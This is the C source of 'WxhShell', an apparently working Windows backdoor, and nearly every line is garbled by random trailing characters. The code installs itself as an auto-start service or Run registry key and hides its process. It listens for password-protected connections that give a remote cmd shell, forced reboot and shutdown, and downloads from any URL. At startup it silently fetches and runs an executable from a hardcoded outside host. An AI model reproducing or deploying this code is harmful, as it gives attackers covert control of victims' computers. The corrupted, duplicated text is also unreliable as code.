    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `* "u"7e  
    if(Boot(SHUTDOWN)) J0a]Wz%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z2)f$ c  
    else { Q2cF++Q1  
    closesocket(wsh); B)O=wx  
    ExitThread(0); NoO>CjeFb  
    } I.r &;   
    break; iC?s`c0B  
    } P0~3<h?U8  
  // 获取shell ~fI&F|  
  case 's': { s0H_Y'  
    CmdShell(wsh); m(q6Xe:Vc  
    closesocket(wsh); it=L_zu}  
    ExitThread(0); h?j;*|o-  
    break; A^q= :ofQ  
  } BF<7.<,  
  // 退出 *yKsgH  
  case 'x': { R?qVFMQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0&=2+=[c  
    CloseIt(wsh); >F8&wh'BjY  
    break; _s><>LH~  
    } D@uw[;Xb5  
  // 离开 `Gx"3ZUn  
  case 'q': { j|FGb:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Fkuq'C<|Y  
    closesocket(wsh); Wa #,>  
    WSACleanup(); >9a%"<(2#  
    exit(1); V"%2Tz  
    break; I+D`\OSL  
        } KSIH1E  
  } Kv:UQdnU[  
  } #i-!:6sLA  
m?'5*\(ST  
  // 提示信息 bR?-B>EB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xx[ L K  
} p|,K2^?Y  
  } auAST;"Z8  
><"5 VwR  
  return; K~<pD:s  
} =x> z|1  
1)?^N`xF  
// shell模块句柄 V[wEn9   
int CmdShell(SOCKET sock) H1| -f]!  
{ :{h,0w'd  
STARTUPINFO si; bv9\Jp0c  
ZeroMemory(&si,sizeof(si)); jec03wH_0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]/p0j$Tq$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M$1+,[^f  
PROCESS_INFORMATION ProcessInfo; O}NR{B0B3&  
char cmdline[]="cmd"; {*~aVw {k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ItDe_|!L  
  return 0; 583ej2HPg  
} IE$x2==)  
6T< ~mn  
// 自身启动模式 @pQv}%  
int StartFromService(void) HQ7-,!XO  
{ daWmF  
typedef struct >4ebvM 0|  
{ 75K~ebRr  
  DWORD ExitStatus; Vm'ReH  
  DWORD PebBaseAddress; ~ i1w,;(  
  DWORD AffinityMask; F) {f{-@)  
  DWORD BasePriority; M$FXDyr  
  ULONG UniqueProcessId; vxUJ4|Qz  
  ULONG InheritedFromUniqueProcessId; nf,>l0,,'  
}   PROCESS_BASIC_INFORMATION; yZHQql%J O  
m(y?3} h  
PROCNTQSIP NtQueryInformationProcess; *0i   
/AJ ^wY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f<xF+wE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $%;NX[>j  
<3P?rcd,5K  
  HANDLE             hProcess; &|%z!x6f  
  PROCESS_BASIC_INFORMATION pbi; h?.6e9Y4  
m{mK;D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); + h`:qB  
  if(NULL == hInst ) return 0; yZxgUF&`  
wz.Il-sm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]O<Yr'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]SBv3Q0D7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3Aaj+=]W  
KK(x)(  
  if (!NtQueryInformationProcess) return 0; on*?O O'  
V?Lf& X?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o80pmy7@  
  if(!hProcess) return 0; x?:WR*5w  
g0rdF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ex'd^y  
#Q 2$v;  
  CloseHandle(hProcess); >G' NI?$  
`C=!8q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dulW!&*No  
if(hProcess==NULL) return 0; 9`dQ7z.8t  
=)Ew6} W6  
HMODULE hMod; >gFF>L>  
char procName[255]; _ H$ Cm  
unsigned long cbNeeded; T fzad2}^  
i.cSD%*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uFSgjWJ#~  
Xe=@I*  
  CloseHandle(hProcess); 8f,jC+(  
3tnYK&  
if(strstr(procName,"services")) return 1; // 以服务启动 m f4@g05  
@ )<uQ S  
  return 0; // 注册表启动 %E1~I\n:F  
} ?j8CkqX!  
1Na CGD"  
// 主模块 '9auQ(2  
int StartWxhshell(LPSTR lpCmdLine) t@}<&{zk  
{ ~rpYZLH/:0  
  SOCKET wsl; XZd !c Ff  
BOOL val=TRUE; F!pUfF,&  
  int port=0; {zbH.V[  
  struct sockaddr_in door; i`2Q;Az_P6  
7X|&:V.s|  
  if(wscfg.ws_autoins) Install(); kG?tgO?*  
wH|\;M{0V1  
port=atoi(lpCmdLine); H.Jcp|k[;  
y>~=o9J_u  
if(port<=0) port=wscfg.ws_port; SjlkKulMF  
e6s L N  
  WSADATA data; Mk@_uPm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CG=#rc]vz  
eqeVz`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nj#!L~^h,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CFul_qZ/e  
  door.sin_family = AF_INET; htM5Nm[g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bGK&W;Myk  
  door.sin_port = htons(port); T%P 0M*  
{:6VJ0s\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vy}:Q[  
closesocket(wsl); w/YKWv{_S  
return 1; 4yRT!k}o  
} Ba`]Sm=  
qf)]!w U9  
  if(listen(wsl,2) == INVALID_SOCKET) { 9!bD|-6y  
closesocket(wsl); ((.PPOdJV  
return 1; gl]{mUZz}  
} c0Q`S"o+  
  Wxhshell(wsl); . s? ''/(  
  WSACleanup(); l*nS gUg  
/^#} \<;  
return 0; sB7DF<91  
D3XQ>T[*q  
} -.^Mt.)  
%NeKDE  
// 以NT服务方式启动 !Toq~,a8?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Yv"uIj+']  
{ ANT^&NjJ7  
DWORD   status = 0; Jb ;el*,K  
  DWORD   specificError = 0xfffffff; >^<qke  
'?3Hy|}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3D<P [.bS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2jx""{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /^4)V8D_S  
  serviceStatus.dwWin32ExitCode     = 0; 4`Fbl]Q   
  serviceStatus.dwServiceSpecificExitCode = 0; %}j/G l5  
  serviceStatus.dwCheckPoint       = 0; [c>X Q  
  serviceStatus.dwWaitHint       = 0; Onot<}K  
*:YW@Gbm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SvI  
  if (hServiceStatusHandle==0) return;  zKT \i  
N66jFRA;x  
status = GetLastError(); x!I7vs~~zW  
  if (status!=NO_ERROR)  |2n2  
{ >{m>&u;Cc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0Fbq/63  
    serviceStatus.dwCheckPoint       = 0; rTmcP23]  
    serviceStatus.dwWaitHint       = 0; @Ki`g(],P  
    serviceStatus.dwWin32ExitCode     = status; F+hsIsQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3*8#cSQ/6o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <~:  g  
    return; _^SNI~  
  } X-n'?=  
m1+DeXR_g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W9eR3q  
  serviceStatus.dwCheckPoint       = 0; !>>$'.nb@~  
  serviceStatus.dwWaitHint       = 0; L Q;JtLu1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]&}?J:+?0E  
} <Xl G:nmY  
Y ciZU  
// 处理NT服务事件,比如:启动、停止 )Xg#x:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 60`y=!?f  
{ Ma{|+\Q.Z  
switch(fdwControl) t`F%$q  
{ DK4V/>@8  
case SERVICE_CONTROL_STOP: xhimRi  
  serviceStatus.dwWin32ExitCode = 0; F'SOl*v(s5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  61gZZM  
  serviceStatus.dwCheckPoint   = 0; V]vk9M2q[l  
  serviceStatus.dwWaitHint     = 0; -sc@SoS  
  { "h:xdaIE/p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nb B`6@r  
  } Kx<bVK4"  
  return; 8(g:i#~  
case SERVICE_CONTROL_PAUSE: hP 9+|am%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :UScbPG  
  break; > ]6Eb`v  
case SERVICE_CONTROL_CONTINUE: \J1Jn~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [8)Zhw$  
  break; t3bN P K^  
case SERVICE_CONTROL_INTERROGATE: b,SY(Ce~g  
  break; )ZiJl5l@  
}; {H0B"i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cu/w><h)  
} t%8*$"~X  
N'[^n,\(:  
// 标准应用程序主函数 `D?vmSQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (a)d7y.oo  
{ kyY tL_SD  
RYvS,hf 6z  
// 获取操作系统版本 4; &(  
OsIsNt=GetOsVer(); 8c~b7F \  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~G"6^C:x  
Kq.)5%~>  
  // 从命令行安装 RJd55+h  
  if(strpbrk(lpCmdLine,"iI")) Install(); [kC-g @  
y;Dw%m  
  // 下载执行文件 tSQ>P -O  
if(wscfg.ws_downexe) { ?rr%uXQjH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E@[`y:P  
  WinExec(wscfg.ws_filenam,SW_HIDE); eb+[=nmP  
} Jh }3AoD  
nwV\ [E  
if(!OsIsNt) { %X#Wc:b  
// 如果时win9x,隐藏进程并且设置为注册表启动 6'*?zZrz  
HideProc(); 'z+8;g.ekO  
StartWxhshell(lpCmdLine); >i`'e~%  
} tK]r>?Y\  
else WH'[~O  
  if(StartFromService()) A\z[/3& RK  
  // 以服务方式启动 %2qvK}  
  StartServiceCtrlDispatcher(DispatchTable); ) 8LCmvQ  
else Zkxt>%20~  
  // 普通方式启动 x2K.5q>  
  StartWxhshell(lpCmdLine); hEEbH@b  
* =r,V  
return 0; v?Y9z!M  
} +gT?{;3[i  
- d>)  
ZM4q@O)/  
B23R9.FK  
=========================================== lm@<i4%$F  
^#"!uCq]gM  
oOJN?97!k  
E#_}y}7JY  
zFv>'1$  
2&5"m;<  
" {mueP6Gz@J  
(obeEH5J  
#include <stdio.h> N5oao'7|A  
#include <string.h> P_i2yhpK  
#include <windows.h> / <y-pFTg  
#include <winsock2.h> +]*?J1 Y8Z  
#include <winsvc.h> rEZa%)XJ  
#include <urlmon.h> HM--`RJ  
$7PFos%@  
#pragma comment (lib, "Ws2_32.lib") f3*u_LO  
#pragma comment (lib, "urlmon.lib") *S{%+1F  
RQ|!?\a=  
#define MAX_USER   100 // 最大客户端连接数 mJ Wl#3  
#define BUF_SOCK   200 // sock buffer Z mYp!B_~  
#define KEY_BUFF   255 // 输入 buffer 9h~>7VeZ)  
A!@D }n  
#define REBOOT     0   // 重启 P3@[x  
#define SHUTDOWN   1   // 关机 OGh b Ha  
v>0xHQD*<M  
#define DEF_PORT   5000 // 监听端口 TX8,+s+  
@\[&_DZ  
#define REG_LEN     16   // 注册表键长度 gxL5%:@  
#define SVC_LEN     80   // NT服务名长度 HiVF<tN  
| \Qr cf  
// 从dll定义API :2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g^8bY=* .  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '&s:,o-p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wCc:HfmjJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kqv>rA3  
*crpM3fO>  
// wxhshell配置信息 30[?XVI&  
struct WSCFG { H VG'v>s@  
  int ws_port;         // 监听端口 Dth<hS,2J  
  char ws_passstr[REG_LEN]; // 口令 Yc\;`C  
  int ws_autoins;       // 安装标记, 1=yes 0=no l=bB,7gL  
  char ws_regname[REG_LEN]; // 注册表键名 \+S~N:@><k  
  char ws_svcname[REG_LEN]; // 服务名 -zMXc"'C^k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J&Le*R'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %,>> <8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (q3(bH~T)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mVU(u_lh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i>0I '~V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tse(iX/D  
6}{2W<  
}; ~eqX<0hf@  
0B1*N_.L@  
// default Wxhshell configuration \asF~P  
struct WSCFG wscfg={DEF_PORT, 0>Ecm#  
    "xuhuanlingzhe", =^=9z'u"=  
    1, Lj({ T'f(  
    "Wxhshell", "D8x HHb  
    "Wxhshell", K'n^, t  
            "WxhShell Service", (a]'}c$X9`  
    "Wrsky Windows CmdShell Service", ]?mWnEi!z  
    "Please Input Your Password: ", z`5+BL,|ND  
  1, )N`ia%p_]  
  "http://www.wrsky.com/wxhshell.exe", -Qqb/y  
  "Wxhshell.exe" %=\h=\wt  
    }; LK/gG6n5M0  
f{WJM>$:  
// 消息定义模块 &RpQ2*4n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @T]gw J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =@V4V} ?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kn`KU.J.  
char *msg_ws_ext="\n\rExit."; +JBhw4et;.  
char *msg_ws_end="\n\rQuit."; M ~.w:~Jm  
char *msg_ws_boot="\n\rReboot..."; S #&HB  
char *msg_ws_poff="\n\rShutdown..."; h'w9=Pk~6y  
char *msg_ws_down="\n\rSave to "; 8~\Fpz|Og  
qs 52)$  
char *msg_ws_err="\n\rErr!"; rm(<?w%'?  
char *msg_ws_ok="\n\rOK!"; `H ^Nc\P#  
DQH _@-q  
char ExeFile[MAX_PATH]; aztP`S$h  
int nUser = 0; 2%1 g%  
HANDLE handles[MAX_USER]; {HvR24#  
int OsIsNt; Af ^6  
bo\|mvB~  
SERVICE_STATUS       serviceStatus; {Kd9}CDAZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fx%'7/+  
^fXNeBj  
// 函数声明 X#1So.}c  
int Install(void); }B^s!y&b  
int Uninstall(void); ZEUd?"gaR  
int DownloadFile(char *sURL, SOCKET wsh); oQWS$\Rr.  
int Boot(int flag); `k _5Pz\  
void HideProc(void); DV*8Mkzg  
int GetOsVer(void); Nr3td`;  
int Wxhshell(SOCKET wsl); 7:{4'Wr@6|  
void TalkWithClient(void *cs); : gv[X  
int CmdShell(SOCKET sock); {eqUEdC  
int StartFromService(void); VlXIM,  
int StartWxhshell(LPSTR lpCmdLine); m{(D*Vuqd  
ldanM>5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DU]MMR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G\Toi98d*  
B58H7NH ;G  
// 数据结构和表定义 /Eh\07p  
SERVICE_TABLE_ENTRY DispatchTable[] = Q gDjc '  
{ PFUb\AY  
{wscfg.ws_svcname, NTServiceMain}, ~ E>D0o  
{NULL, NULL} ?VS {,"X  
}; wC'KI8-  
UQ`%,D  
// 自我安装 8X5;)h   
int Install(void) dGP*bMCT  
{ L.l%EcW=,  
  char svExeFile[MAX_PATH]; C<6u}czA  
  HKEY key; 8y~ Jn~t  
  strcpy(svExeFile,ExeFile); \QHe0?6  
E' JVf%)  
// 如果是win9x系统,修改注册表设为自启动 0f;L!.eP  
if(!OsIsNt) {  @*%Q,$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jr" yIC_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <s]K~ Vo  
  RegCloseKey(key); ,^:Zf|V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xdq2.:\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V{ra,a*  
  RegCloseKey(key); H<X4R  
  return 0; P}DrUND  
    } L1P]T4a@)  
  } 5#$E4k:YV  
} S;i^ucAF  
else { $-M1<?5  
nU)}!` E  
// 如果是NT以上系统,安装为系统服务 NTs< ;ED  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [)Xu60? Q  
if (schSCManager!=0) 6(D K\58  
{ DY~~pi~  
  SC_HANDLE schService = CreateService {BY`Wu:w  
  ( eem.lVVD  
  schSCManager, @bfaAh~   
  wscfg.ws_svcname, tvf"w`H  
  wscfg.ws_svcdisp, "&Q-'L!M'/  
  SERVICE_ALL_ACCESS, N!9DZEcm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^dYFFKQ  
  SERVICE_AUTO_START, ZJ=-cE2n  
  SERVICE_ERROR_NORMAL, |K aXek  
  svExeFile, C&zgt :q6}  
  NULL, z})H$]:$  
  NULL, 1g2%f9G  
  NULL, (gl CTF9v  
  NULL, C.%iQx`   
  NULL W(~G^Xu  
  ); im*QaO%a4  
  if (schService!=0) L.l"'=M  
  { V<:kS  
  CloseServiceHandle(schService); HR.S.(t[_  
  CloseServiceHandle(schSCManager); jEit^5^5|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4-ZiKM  
  strcat(svExeFile,wscfg.ws_svcname); }I#;~|v~<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { < LzN/I aJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B/i,QBPF]  
  RegCloseKey(key); Q(oWaG  
  return 0; [-s0'z  
    } RTHdL  
  } [^1;8Tbk  
  CloseServiceHandle(schSCManager); kxTh tjgv  
} T 7Lk4cU  
} 9n |H%AC  
\P&'4y~PL  
return 1; EG7ki0  
} y 9/27yWB  
k-b_ <Tbo|  
// 自我卸载 q<,?:g$k  
int Uninstall(void) Fr/8q:m &  
{ IDdhBdQ  
  HKEY key; s-*8=  
YPf&y"E&H  
if(!OsIsNt) { %DgU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8 6?D  
  RegDeleteValue(key,wscfg.ws_regname); eZI&d;i  
  RegCloseKey(key); xyBe*,u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qNC.|R  
  RegDeleteValue(key,wscfg.ws_regname); csH1X/3ha\  
  RegCloseKey(key); F3,hx  
  return 0; Ndx.SOj  
  } M\e%GJ0  
} NZi5rX N  
} - FA#hUK$  
else { qB<D'h7  
+%UXI$v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VP0wa>50!  
if (schSCManager!=0) ? Yy[8_(tN  
{ 7EQ |p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (+CB)nV0IA  
  if (schService!=0) D GOc!  
  { hh <=D.u  
  if(DeleteService(schService)!=0) { Yt0 l'B%[u  
  CloseServiceHandle(schService); 9p>3k&S  
  CloseServiceHandle(schSCManager); *2=:(OK  
  return 0; 2ai \("?  
  } S>*i^If  
  CloseServiceHandle(schService); i?4vdL8M  
  } n&FN?"I/]  
  CloseServiceHandle(schSCManager); &P[eA u  
} AM'-(x|  
} ]*[S# Jk  
3$(1LN  
return 1; m`4Sp#m  
} +)L 'qbCSM  
 {hZ_f3o  
// 从指定url下载文件 HQQc<7c ",  
int DownloadFile(char *sURL, SOCKET wsh) j9x}D;? n  
{ 5c3 )p^ ]g  
  HRESULT hr; C1r]kF  
char seps[]= "/"; v(h   
char *token; *oZBv4Vh   
char *file; _d %H;<_  
char myURL[MAX_PATH]; lwQI 9U[O2  
char myFILE[MAX_PATH]; 5a5 I+* c  
4SY]Q[  
strcpy(myURL,sURL); #RlI([f|&  
  token=strtok(myURL,seps); G/N'8Q)  
  while(token!=NULL) 5s;HF |2x  
  { ^|>vK,q$I  
    file=token; .OX.z~":y  
  token=strtok(NULL,seps); B~caHG1b  
  } |DwI%%0(F  
sW3-JA]  
GetCurrentDirectory(MAX_PATH,myFILE); +\\,FO_  
strcat(myFILE, "\\"); [=S@lURzm@  
strcat(myFILE, file); o-GlBXI;  
  send(wsh,myFILE,strlen(myFILE),0); N/qr}- 3z  
send(wsh,"...",3,0); !yG{`#NZZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?9 :{p  
  if(hr==S_OK) `| L+a~~  
return 0; D0lgKQ  
else `:-{8Vo7  
return 1; L*D-RYW  
psgXJe$  
} 6@ ToPbj4  
1i$9x$4~E  
// 系统电源模块 na(@`(j[  
int Boot(int flag) bn~=d@'  
{ 6_^ u}me  
  HANDLE hToken; m`I6gnLj  
  TOKEN_PRIVILEGES tkp; HGh`O\f8  
|XLx6E2F  
  if(OsIsNt) { ~y$B #.l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %RdCSQ9~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -9.S?N'T>;  
    tkp.PrivilegeCount = 1; _\"7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D(@#Gd\Z@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &r/a\t,8n  
if(flag==REBOOT) { a^,6[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m9wV#Ldu  
  return 0; mI@E>VCV[  
} st+X~;PX*  
else { ) $#ov-]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;jo,&C  
  return 0; `:}GE@]  
} |A 8xy#  
  } 4F??9o8}  
  else { )l\BZndf  
if(flag==REBOOT) { H}dsd=yO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) do+HPnfDzU  
  return 0; tceQn ^|<  
} 5m=3{lBi  
else { 5d*k[fZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y \& 4`v'  
  return 0; Uj(,6K8W  
} r2M._}bF  
} h<$Vry}  
hGcOk[m 4  
return 1; r*p<7  
} n/=&?#m}d  
(SkI9[1\@3  
// win9x进程隐藏模块 *G.6\  
void HideProc(void) e7{3:y|]d3  
{ *jCXH<?R  
( T VzYm y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D?) "Z$  
  if ( hKernel != NULL ) A+iQH1C0h  
  { eeoIf4]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wHx1CXC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v,KH2 (N  
    FreeLibrary(hKernel); M9 fAv  
  } &g\D-At  
4IG'T m  
return; /H:'(W_b;  
} ,}=x8Xxr  
@Vr?)_ 0  
// 获取操作系统版本 Hh(_sewo  
int GetOsVer(void) /=FQ {tLr  
{ zX"@QB3E  
  OSVERSIONINFO winfo; xD8x1-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @j K7bab:  
  GetVersionEx(&winfo); \XCs(lNh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) - 9UQs.Nv  
  return 1; .o]vjNrd/  
  else *QG>U[  
  return 0; cW/RH.N  
} 71z$a  
zEl@jK,{$  
// 客户端句柄模块 (=j]fnH?  
int Wxhshell(SOCKET wsl) 8;5 UO,`T  
{ ullq}}  
  SOCKET wsh; ";J1$a  
  struct sockaddr_in client; 7;dV]N  
  DWORD myID; j\P47q'v#  
w3:Y]F.ot  
  while(nUser<MAX_USER) _WVeb}  
{ Ja4O*C<  
  int nSize=sizeof(client); THi*'D/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); smoz5~  
  if(wsh==INVALID_SOCKET) return 1; N>z_uPy{A  
zRx-xWo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [@eNb^ R  
if(handles[nUser]==0) zb OEF  
  closesocket(wsh); qq]ZkT}   
else JY(_}AAu  
  nUser++; $*Njvr7  
  } &DYHkG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OHdC t  
J)6RXt*!  
  return 0; 5%rD7/7N  
} Eyxw.,rB/  
K=;z&E=<c  
// 关闭 socket a-MDZT<xA+  
void CloseIt(SOCKET wsh) 5)wz`OS  
{ razVO]]E  
closesocket(wsh); ?dl7!I@<E<  
nUser--; .,)NDG4Q  
ExitThread(0); 0V uG(O  
} @{+c6.*}  
ULIbVy7Y  
// 客户端请求句柄 6 wYd)MDLL  
void TalkWithClient(void *cs) lM3UjR|@  
{ q~^Jd=cB\  
*r6+Vz  
  SOCKET wsh=(SOCKET)cs; puV(eG  
  char pwd[SVC_LEN]; nbj&3z,  
  char cmd[KEY_BUFF]; \S{ise/U  
char chr[1]; C_rlbl;T  
int i,j; T$U,rOB"  
5}x^0 LY  
  while (nUser < MAX_USER) { wN-3@  
R*`A',]:9  
if(wscfg.ws_passstr) { i(Cd#1<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 02g}}{be8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )[|`-M~u  
  //ZeroMemory(pwd,KEY_BUFF); Smzy EMT  
      i=0; Vahfz8~w/  
  while(i<SVC_LEN) { %a{$M{s  
x6d+`4  
  // 设置超时 {9q~bt  
  fd_set FdRead; ykrb/j|rK  
  struct timeval TimeOut; %>_ZUu3M  
  FD_ZERO(&FdRead); .S>:-j'u  
  FD_SET(wsh,&FdRead); 1@JAY!yoo_  
  TimeOut.tv_sec=8; Bd*:y qi  
  TimeOut.tv_usec=0; H4ml0SS^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9XImgeAs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v}XMFC !  
nsQx\Tnhx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~5<-&Dyp7  
  pwd=chr[0]; CvW*/d q  
  if(chr[0]==0xd || chr[0]==0xa) { e|Rd#  
  pwd=0; _&_#uV<WG0  
  break; 6nV]Ec~3[  
  } ~L)9XK^15  
  i++; n dgG1v%  
    } `h*)PitRa  
|_@ '_  
  // 如果是非法用户,关闭 socket )R.y>Ucb0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u=I\0H  
} '!>LF1W=  
2fM*6CaS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PTfTT_t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o(Yj[:+m  
T$RVz   
while(1) { }ac0}  
O>9+ tQ  
  ZeroMemory(cmd,KEY_BUFF); -\O%f)R  
H3"90^|,@  
      // 自动支持客户端 telnet标准   Pb 4%" 9`  
  j=0; dY'/\dJ  
  while(j<KEY_BUFF) { l ?RsXC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \_;z m+ <{  
  cmd[j]=chr[0]; &,/_"N"?D  
  if(chr[0]==0xa || chr[0]==0xd) { #!(OTe L  
  cmd[j]=0; 6}zargu(;  
  break; c193Or'6Y  
  }  MO|aN,  
  j++; [}Vne;V  
    } `./$hh  
XC"]/ y  
  // 下载文件 Goa0OC,  
  if(strstr(cmd,"http://")) { D=uU:7m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EUZ#o\6  
  if(DownloadFile(cmd,wsh)) {WfZE&B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q ^NI  
